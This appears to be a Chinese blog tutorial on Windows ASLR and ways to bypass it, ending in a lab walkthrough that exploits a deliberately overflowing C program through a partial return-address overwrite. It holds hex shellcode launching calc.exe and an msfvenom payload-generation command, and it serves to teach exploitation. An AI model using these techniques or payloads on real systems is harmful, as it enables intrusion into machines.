ASLR保护机制
ASLR简介
微软在Windows Vista、2008 server、Windows 7、Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像的基址设置到1/256的random slot上, 同时将各个线程的堆栈和堆进行随机化。这需要程序和系统的双重支持, 但是程序的支持并不是一定的。可以使用如下注册表选项来使用或禁用 ASLR 之于所有的程序映像：
Edit HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ and add a new key called “ MoveImages” （DWORD）。
该键的可能取值如下：
0 ：永远不进行基于内存的映像基址随机化, 基地址的选择始终以可执行文件的PE头部指定的基址为准;
-1 ：随机化所有的可以重定位的程序映像, 无论它们是否在PE头部指定了IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标记。
也可以在编写程序时使用/dynamicbase链接器选项来确定编写的程序是否使用该保护机制。微软从Visual Studio 2005开始加入了/dynamicbase链接选项, 选择该链接选项的程序会在生成的PE头中设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识来说明其支持ASLR。
实际分析中, 可以 使用 PE 工具查看 DllCharacteristics 域是否包含 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE(0× 40) , 或者使用ImmunityDebugger 的 !ASLRdynamicbase 命令, 查看当前调试会话中所有模块的 ASLR使能状态。
ASLR工作原理：
在Windows下, ASLR主要表现在三个方面：映像基址随机化、堆栈基址随机化和PEB/TEB随机化。
1）映像基址随机化
当可执行文件或动态链接库文件被映射到内存时, 系统会对其虚拟地址进行随机化。
由于主要是对各模块载入内存的基地址进行随机化处理, 所以叫映像基址随机化。微软Windows系列操作系统的内存随机化使系统每次初始化过程中, 随机分配各个模块的基地址, 所以同一个模块在系统重启后, 其基地址是不同的。如下图所示是系统重启前后, Windbg加载同一个应用程序时显示的各模块基地址。可以看出, 系统重启后, 各模块的首地址是变化的。
2）堆栈基址随机化
程序在启动时, 系统会随机选择堆栈的基址, 从而导致内存中的各种变量地址发生变化。程序每次启动后, 其所占用的堆栈地址可能完全不同。与映像基址随机化在系统初始化的过程中随机加载不同, 堆栈基址随机化是在程序每次启动时实施的。下图所示是将同一个程序两次载入Windbg后, 其所占用的堆栈地址。
3）PEB/TEB随机化
进程环境块（Process Environment Block, PEB）和线程环境块（Thread Environment Block, TEB）随机化在Windows XP时代就已经引入系统中, 但是发展到Windows 8系统, PEB/TEB的随机化仍然做得不是很好。图3所示是Win7下Windbg两次加载同一进程所显示的PEB/TEB地址。
ASLR绕过思路
i．攻击未启用ASLR的模块：
在未启用ASLR的模块中，找到固定的指令地址转入pyload执行。
ii．Off by one 思想：
因为映像基址随机化只是对加载地址的前两个字节进行了随机化, 后面两个字节根本没有变化。而在内存中, 地址是以Little-Endian的方式存储的, 所以理论上, 在一些情况下攻击者可以利用返回地址的部分覆盖来实施攻击。以32位系统的ASLR绕过为例, 覆盖EIP的高地址存储位置的2个字节, 可以完成可行的跳转。
iii．利用堆喷技术定位内存地址：
堆喷抢占内存之后，我们可以确定占领某一内存地址（例如0x0c0c0c0c0c）附近的内存，只要控制程序转入0x0c0c0c0c执行，经过若干个0x90滑行就到达payload执行就可以。
iv．基于SharedUserData的方法
从Windows NT 4到Windows 8, 内存地址0x7ffe0000处都是SharedUserData结构。在其偏移0x300处总是指向KiFastSystemCall函数, 而这个函数是在ntdll.dll中。也就是说, 只要攻击者有一次读取内存的机会, 就能获取ntdll的基址, 从而绕过ASLR保护。具体步骤如下：
1）读取0x7ffe0300处的4字节数据, 即为KiFastSystemCall函数地址, 记为Address_K;
2）使用IDA或Depends, 查找KiFastSystemCall函数在ntdll中的偏移, 从而计算出ntdll基址;
3）通过相对偏移在ntdll中定位到所需要的指令地址, 从而绕过ASLR。
下图是是32位Windows 7系统下KiFastSystemCall函数地址。
通过覆盖部分地址绕过ASLR
⑴. 原理分析：
通过覆盖部分地址绕过ASLR的思想，也就是上文绕过思路中提到的off by one思想。因为映像基址随机化只是对加载地址的前两个字节进行了随机化, 后面两个字节根本没有变化。所以可以通过覆盖后两个字节，在0x0000—0xFFFF的地址空间内寻找跳板，控制EIP，转入payload执行。
⑵．环境准备：
i．实验代码：
#include "stdafx.h"
#include "stdlib.h"
char shellcode[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x42\x14"
;
char * test()
{
char tt[256];
memcpy(tt,shellcode,262);
return tt;
}
int _tmain(int argc, _TCHAR* argv[])
{
char temp[200];
test();
return 0;
}
ii．测试环境：
测试平台：Windows 7 32位
编译器：visual 2008
编译环境：
关闭\GS，DEP保护机制，开启ASLR保护机制。
⑶．调试分析：
i．缓冲区起始地址：保存在eax寄存器中
ii．返回地址
第一次运行：
重启后运行：
可以看到，前两个字节（高地址）是不断会变化的，但是后两个字节（低地址位）是固定的。
所以我们可以通过覆盖低地址位实现控制EIP。
⑷．攻击过程：
i．确定跳板：
第一， payload起始地址小于返回地址，所以不能使用jmp esp这类地址，观察，寄存器eax保存有payload的起始地址，所以，我们只要在当前程序的指令空间里（因为能控制的只是当前程序随机地址化后的两个字节）找到jmp eax指令就可以控制EIP，跳入payload了。
第二， 在程序指令空间查找jmp esp
还是用之前用过的OllyFindAddr插件（或者直接搜索指令也可以），得到结果。
这里，使用地址0xXXXX1442做为跳转地址。
ii．生成payload：
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
iii．构造shellcode：
综上所述，shellcode结构如下：
iv．攻击结果：
成功。
来源：https://www.cnblogs.com/zhang293/p/9046651.html